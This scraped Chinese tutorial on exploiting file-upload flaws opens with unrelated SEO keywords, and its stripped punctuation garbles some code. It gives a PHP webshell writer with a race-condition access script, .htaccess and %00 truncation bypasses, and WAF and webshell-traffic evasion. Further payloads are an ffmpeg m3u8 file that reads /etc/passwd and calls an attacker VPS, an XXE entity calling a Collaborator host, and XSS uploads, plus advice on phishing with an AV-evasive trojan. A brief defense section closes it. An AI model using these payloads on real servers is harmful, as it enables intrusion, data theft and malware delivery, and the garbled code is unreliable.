河南建设网站公司简介,wordpress绝对目录,做旅游宣传哪个网站好,百度指数的基本功能一、文件上传简介
文件上传漏洞是指用户上传了一个可执行的脚本文件#xff08;木马、病毒、恶意脚本、webshell等#xff09;#xff0c;并通过此脚本文件获得了执行服务器端命令的能力。上传点一般出现在头像、导入数据、上传压缩包等地方#xff0c;由于程序对用户上传…一、文件上传简介
文件上传漏洞是指用户上传了一个可执行的脚本文件木马、病毒、恶意脚本、webshell等并通过此脚本文件获得了执行服务器端命令的能力。上传点一般出现在头像、导入数据、上传压缩包等地方由于程序对用户上传的文件控制不足或处理缺陷而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。
原理及危害
网站WEB应用都有一些文件上传功能比如文档、图片、头像、视频上传当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时就可以上传任意文件甚至是可执行文件后门。 恶意文件传递给解释器去执行之后就可以在服务器上执行恶意代码进行数据库执行、服务器文件管理服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件。
成因及利用条件
成员
开源编辑器的上传漏洞服务器配置不当本地文件上传限制被绕过过滤不严或被绕过文件解析漏洞导致文件执行文件路径截
利用条件
恶意文件可以成功上传恶意文件上传后的路径恶意文件可被访问或执行
二、Webshell
Webshell就是以asp、 php、jsp或者cgi等网页文件形式存在的一种命令执行环境也可以将其称做为一种网页后门。 黑客在入侵了一个网站后通常会将asp或php后门文件与 网站服务器WEB目录下正常的网页文件混在一起然后就 可以使用浏览器来访问asp或者php后门得到一个命令执 行环境以达到控制网站服务器的目的。 三、文件上传bypass 1、前端检测
禁用JS 3、3
2、服务端检测
1Mime type检测
抓包修改mime类型
常见的MIME类型
超文本标记语言文本 .html text/html xml文档 .xml text/xml 普通文本 .txt text/plain RTF文本 .rtf application/rtf PDF文档 .pdf application/pdf Microsoft Word文件 .word application/msword PNG图像 .png image/png GIF图形 .gif image/gif JPEG图形 .jpeg,.jpg image/jpeg au声音文件 .au audio/basic MIDI音乐文件 mid,.midi audio/midi,audio/x-midi RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio MPEG文件 .mpg,.mpeg video/mpeg AVI文件 .avi video/x-msvideo GZIP文件 .gz application/x-gzip TAR文件 .tar application/x-tar 任意的二进制数据 application/octet-stream
3、文件扩展名
1黑名单检测
大小写绕过Windows下
双写绕过
特殊可解析文件名绕过
php、php3、php4、phtml、phps、pht前提是Apache的配置文件要有如下配置 AddType application/x-httpd-php .php .phtml .phps .php5 .pht
::$DATA绕过Windows下
如果::$DATA“文件名::$DATA”系统会把“::$DATA”之后的数据当成文件流处理不会检测后缀名且会保持“::$DATA”之前的文件名所以可以利用Windows的特性在上传文件的后缀名加“::$DATA”进行绕过。
.htaccess绕过
前提条件mod_rewrite模块开启、AllowOverride All .htaccess文件是Apache服务器中的一个配置文件它负责相关目录下的网页配置.通过htaccess文件可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。先上传.htaccess文件文件内容如下将所有文件当作php解析 SetHandler application/x-httpd-php
2白名单检测
00截断绕过
php00截断的使用条件 php5.3.4、magic_quotes_gpc为off状态
有时数据包中必须含有上传文件后的目录才可使用该方法。
原理%00与0x00 表单中的enctype就是encodetype指编码类型。 enctype有三个属性
application/x-www-form-urlencoded在发送前编码所有字符multipart/form-data不对字符编码或在使用包含文件上传控件的表单时必须使用该值。指定传输数据为二进制类型。text/plain空格转换为“”号但不对特殊字符编码。纯文本的传输 默认情况下enctype的值是application/x-www-form-urlencoded不能用于文件上传只有使用了multipart/form-data才能完整的传递文件数据。 而application/x-www-form-urlencoded不是不能上传文件是只能上传文本格式的文件multipart/form-data是将文件以二进制的形式上传这样可以实现多种类型的文件上传。
在URL中%00被URLdecode后为空字符所以当URL中出现%00是会认为读取已结束。 GET请求中提交数据时浏览器会自动对数据进行URLdecode所以GET请求可直接使用%00。 而POST请求中上传的表单有个enctype的属性若属性值为”multipart/form-data”则不会自动对表单进行URLdecode。而path大多数都是存放在表单中的因此需要在数据包中进行urldecode操作使%00变成字符串结束符号。就需要使用0x00将hex值改为00才能进行截断。
** 0X00是字符串的结束标识符攻击者可以利用手动添加字符串标识符的方式将后面的内容进行截断而后面的内容又可以帮助我们绕过检测。 比如数据包中存在path为uploads/那么攻击者可以通过修改path的值来构造payload为uploads/1.php%00。程序检测的是文件的后缀名如果后缀合法就会拼接路径和文件名攻击者修改path后的拼接结果为upload/1.php%00/2021091823123.jpg可绕过后缀的检测移动文件时%00产生截断作用文件就会保存为upload/1.php**达到getshell的目的。
** %00是因为path也可以存放在URL或者cookie中在提交数据的时候浏览器会对数据做一次urldecode操作在服务端会对数据进行一次urldecode操作因此如果path在非“enctypemultipart/form-data”的表单中或在URL、cookie**中时可以直接写%00不再需要urldecode操作服务器自己会对%00进行url解码。
3.文件内容检测绕过
1 文件幻数文件头检测绕过
通过正则匹配判断文件幻数文件头内容是否符合要求一般为白名单检测常见的文件头文件头标志位如下
.JPEG .JPE .JPG “JPGGraphicFile”FFD8FFFE00.gif”GIF89A”474946383961.zip”ZipCompressed”504B0304.doc .xls .xlt .ppt .apr“MSCompoundDocumentv1orLotusApproachAPRfile”D0CF11E0A1B11AE1
一般是在木马文件头部插入对应的文件头内容比如GIF89A等伪装成图片马。
图片马制作方法 1直接在木马文件的头部添加GIF89A等字母 2直接在图片文件中添加payload易造成图片损坏 3使用cmd命令copy tupian.jpg /b muma.php /a muma.jpg 4使用edjpgcom等工具制作
2 getimagesize()检测绕过
getimagesize()函数会读取目标文件的16进制验证目标文件16进制的头几个字符串是否符合图片的要求通过此函数判断文件类型。故可以使用图片马进行绕过。源码 制作图片马 再配合文件包含漏洞进行解析执行。
3 exif_imagetype()检测绕过
exif_imagetype()函数是用来读取文件的第一个字节并检查其签名即通过文件头判断文件类型。所以与getimagesize()函数检测一样可使用图片马进行绕过。
4 条件竞争绕过
什么是条件竞争 条件竞争是服务端的漏洞由于后端程序操作逻辑不合理导致。由于服务端在处理不同用户的请求时是并发进行的因此如果兵法处理不当或相关操作逻辑顺序设计的不合理时会导致此类问题的发生。条件竞争一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
检测原理
网站允许任意文件上传再检查文件内容是否包含webshell如果有就删除该文件网站允许任意文件上传但如果不是指定的类型会使用unlink删除文件。
绕过方法 利用文件上传成功至文件被删除之间的时间差上传一个可执行脚本文件再使用多线程并发的方式访问上传的文件总会有一次在时间差内访问到上传的php文件一旦成功访问到了上传的文件就能执行payload因为php之类的代码只要访问就能执行。
源码
上传逻辑
通过move_uploaded_file($temp_file, $upload_file移动上传的文件上传完毕后通过in_array($file_ext,$ext_arr)检查文件名后缀是否在白名单中若后缀合法则对文件进行重命名rename上传完成若后缀非法则删除文件
绕过 上传一个写一句话木马的文件test.php ?php $filefopen(“shell.php”,“w”); $string‘?php eval($_POST[“shell”]); ?’; fwrite($file,$string); fcolse(); ?
截取两个数据包一个为上传test.php的请求包另一个为访问shell.php的请求包。 将上传文件的请求包进行无参数爆破让他不停的进行上传请求。 另一个访问shell.php的请求包也进行无参数爆破不断地进行访问请求。 或者可以通过py脚本代替不停访问的操作。 import requests for i in range(1000000): url“文件地址” if requests.get(url).status_code 200 : print(‘yes’)
成功写入
4.利用服务器解析漏洞绕过
(1) Apache解析漏洞
WampServer2.0 All Version (WampServer2.0i / Apache 2.2.11) [Success] WampServer2.1 All Version (WampServer2.1e-x32 / Apache 2.2.17) [Success] Wamp5 All Version (Wamp5_1.7.4 / Apache 2.2.6) [Success] AppServ 2.4 All Version (AppServ - 2.4.9 / Apache 2.0.59) [Success] AppServ 2.5 All Version (AppServ - 2.5.10 / Apache 2.2.8) [Success] AppServ 2.6 All Version (AppServ - 2.6.0 / Apache 2.2.8) [Success]
(2) IIS解析漏洞
IIS6.0 IIS6.0 在解析文件时存在以下两个解析漏洞 . ①当建立 .asa 、.asp 格式的文件夹时 , 其目录下的任意文件豆浆被 IIS 当作 asp 文件 来解析 . ② 在 IIS6.0 下 , 分 号 后面 的 扩 展 名 不 会 被 解 析 , 也 就 是 说 当 文 件 为 *.asp;.jpg 时,IIS6.0 同样会以 ASP脚本来执行 .
(3) Nginx8.03空字节代码执行漏洞
影响版本 :0.5,0.6,0.70.7.65 0.80.8.37 Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 . 注意 任意文件名/任意文件名.php这个漏洞是因为php-cgi
(4) PHP CGI解析漏洞
在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是 默认开启的 , 在开启时访问 url, 比如 :http://www.xxx.com/x.txt/x.php,x.php 是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .
5.bypass-分块传输绕过
(1) 前言
近期在做渗透测试的过程中遇到一个文件上传发现jsp脚本内容或者是jsp后缀名称的上传均会被waf拦截。正好有授权实践下分块传输bypass waf的方法。
(2) 分块传输编码概念
引用维基百科描述
分块传输编码Chunked transfer encoding是超文本传输协议HTTP中的一种数据传输机制允许HTTP由网页服务器发送给客户端应用 通常是网页浏览器的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本HTTP/1.1中提供。使用HTTP 1.0协议服务器会主动放弃chunked编码。
《HTTP权威指南》
[RFC7230]中查看到有关分块传输的定义规范。
4.1. Chunked Transfer Coding The chunked transfer coding wraps the payload body in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing header fields. Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message. chunked-body *chunk last-chunk trailer-part CRLF chunk chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-size 1*HEXDIG last-chunk 1*(0) [ chunk-ext ] CRLF chunk-data 1*OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of the chunk-data in octets. The chunked transfer coding is complete when a chunk with a chunk-size of zero is received, possibly followed by a trailer, and finally terminated by an empty line. A recipient MUST be able to parse and decode the chunked transfer coding. 4.1.1. Chunk Extensions The chunked encoding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size. chunk-ext *( ; chunk-ext-name [ chunk-ext-val ] ) chunk-ext-name token chunk-ext-val token / quoted-string The chunked encoding is specific to each connection and is likely to be removed or recoded by each recipient (including intermediaries) before any higher-level application would have a chance to inspect the extensions. Hence, use of chunk extensions is generally limited
通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如
9;kkkkk
12345671
4;ooo222
2345
0
(两个换行)
以上均为引用以下为实践内容
(3) 攻击与利用
burpsuite插件https://github.com/c0ny1/chunked-coding-converter 解释下为什么有时候需要添加注释因为几乎所有可以识别Transfer-Encoding数据包的WAF都没有处理分块数据包中长度标识处的注释导致在分块数据包中加入注释的话WAF就识别不出这个数据包了。br / Transfer-Encoding 在头部加入 Transfer-Encoding: chunked 之后就代表这个报文采用了分块编码
回过头来看案例正常情况下上传一个jsp文件会被waf拦截返回为空如下图所示 使用分块编码对目标系统进行文件上传如下图 不过还是被该系统的waf检测到了威胁返回为空上传失败。至于为什么可能是因为该分块bypass方法已经有很长的一段时间了吧所以很多waf都已经又了应对方法。br /通过测试发现WAF一般是如下应对分块传输的。
发现数据包是分块传输启动分块传输线程进行接收
分块传输线程不断接收客户端传来的分块直到接收到0\r\n\r\n
将所有分块合并并检测合并之后的内容。
不过开发这个burpsuite插件工具的大佬也有了新的应对方法膜拜添加延时消耗waf性能让waf放弃等待所有分块发送完成。 借用下大佬的图 使用延时方法再次对目标系统发起上传 查看上传的结果如下图已经成功绕过waf并上传成功 (4) 提示
只有HTTP/1.1支持分块传输 POST包都支持分块不局限仅仅于反序列化和上传包 Transfer-Encoding: chunked大小写不敏感
6.HPP漏洞绕过
HPP漏洞
HPP 是 HTTP Parameter Pollution 的缩写意思即“ HTTP 参数污染 ”。这个漏洞由 S.di Paola 与 L. Caret Toni 在 2009 年的 OWASP 上首次公布。这也是一种注入型的漏洞攻击者通过在HTTP请求中插入特定的参数来发起攻击。如果Web应用中存在这样的漏洞可以被攻击者利用来进行客户端或者服务器端的攻击。通过 HPP 参数污染可以实现绕过 waf 来进行攻击。
漏洞原理
浏览器与服务器进行交互时浏览器提交 GET/POST 请求参数这些参数会以 “名称-值对” 的形式出现。通常在一个请求中同样名称的参数只会出现一次但是在 HTTP 协议中是允许同样名称的参数出现多次的。
GET /foo?par1val1par2val2 HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*
如上面的 HTTP 请求在跟服务器交互的过程中HTTP 协议允许 GET/POST 请求多次传同一参数值。
但是不同的服务器处理方式会不一样比如必应搜索引擎如果输入了两次查询参数q第二次输入的参数值将覆盖第一次输入的参数值
但是对于谷歌搜索引擎则会将两次输入的参数值进行拼接而没有覆盖 从上面可以看到如果同时提供2个搜索的关键字参数给 Google那么 Google 会对2个参数都进行查询但是必应则不一样它只会处理后面一个参数。服务列表
下面这个表简单列举了一些常见的 Web 服务器对同样名称的参数出现多次的处理方式 漏洞利用
在HPP中最典型的的例子就是 “双文件上传” 。
1、如下例子可以看到 filename 参数写了两次可能绕过一些上传限制 2、也可以尝试直接多加一个 filenameHPP 3、或者直接多个 Content-Disposition
4、同时可以上传一个正常图片文件一个木马文件尝试绕过
------61234564788
Content-Disposition: form-data; nameFileName; filename“1.png”图片内容
------61234564788
Content-Disposition: form-data; nameFileName1; filename“1.php”木马内容
------61234564788--7.脏字符绕过
脏字符参数填充的地方from-data 后面 或者内容脏字符绕当然内容脏字符绕过还是需要考虑一下语言注释符常见如jsp!–注释内容– php /**/ 当waf检测内容数据包过大时可能会放行
8.文件路径修改
木马文件上传成功但是不解析 看请求包是否存在有指定上传路径利用../回溯上传到根目录 成功链接木马 9.流量检测绕过 1. 冰蝎绕过创宇盾
2哥斯拉流量检测绕过
哥斯拉连接的时候修改UA头不用默认密钥加POST就没法用流量检测
10.大文件绕过
传输超过20M的文件
四、文件上传的其它利用
1.文件上传构造xss漏洞
1上传html文件构造XSS漏洞
scriptalert(xss)/script 2上传svg文件构造XSS漏洞
svg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/
3上传PDF文件构造XSS漏洞
构造xss或url跳转的pdf文件上传
新建一个空白页在“页面属性”对话框单击“动作”标签再从“选择动作”下拉菜单中选择“运行 JavaScript”命令然后单击【添加】按钮弹出 JavaScript 编辑器对话框 在弹出的对话框中输入代码app.alert(XSS);保存上传到网站上使用浏览器访问成功执行了xss代码。 2.文件上传进行钓鱼
制作免杀exe cs木马上传到目标网站通过社工手段进行文件钓鱼。 3.上传mp4/avi进行文件读取/SSRF
利用方式目标使用了ffmpeg有漏洞版本上传mp4/avi进行文件读取/SSRF以下内容保存成test.avi上传到被攻击服务器。#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://vps:port/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST保存成header.m3u8上传到公网vps#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://vps:port?访问上传的avi文件vps接收到访问日志 4.上传shtml文件执行ssi命令
利用方式如果目标服务器开启了SSI与CGI支持可以上传shtml文件执行ssi命令。搭建测试环境 打开apache的配置文件httpd.conf。找到 LoadModule ssl_module modules/mod_ssl.so 命令去掉注释。 去掉
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml的注释 Indexes 或FollowSymLinks修改为
Options Indexes FollowSymLinks ExecCGI Includes IncludesNOEXEC 修改vhosts文件 增加Includes 重启apache上传shtml文件。 成功执行了ssi命令。 5.Excel文件的上传探测xxe漏洞
利用方式当遇到接受Excel文件进行上传和处理的目标应用程序则可能存在xxe漏洞。原理现代Excel文件实际上只是XML文档的zip文件称为Office Open XML格式或OOXML。 当应用程序处理上传的xlsx文件时需要解析XML如果解析器未做安全配置则可能导致xxe漏洞。 创建一个xlsx文档更改后缀为zip使用压缩工具解压缩。 打开Burp Suite Professional单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板。 找到Content_Types.xml文件插入xxe代码到文件中。 !DOCTYPE x [ !ENTITY xxe SYSTEM http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net ] xxxe;/x 重新压缩为zip文件更改后缀为xlsx。上传xlsx文档到目标服务器如果没有禁用外部实体就会存在XXE漏洞burp接收到请求。 五、防御
检查文件上传路径设置上传目录执行权限拒绝脚本执行的可能性避免%00截断、IIS6.0文件夹解析漏洞、目录遍历 文件扩展名检测避免服务器以非图片的文件格式解析文件通常使用黑白名单进行检测 文件MIME验证 文件内容检测避免图片中插入webshell 图片二次渲染基本上完全避免了文件上传漏洞 文件重命名如随机字符串或时间戳等方式并且加上此前生成的文件扩展名防止攻击者得到webshell的路径 隐藏上传路径 定义一个.htaccess文件只允许访问指定扩展名的文件 以上几点可以防御绝大多数上传漏洞但是需要跟服务器容器结合起来。如果解析漏洞依然存在那么没有绝对的安全。
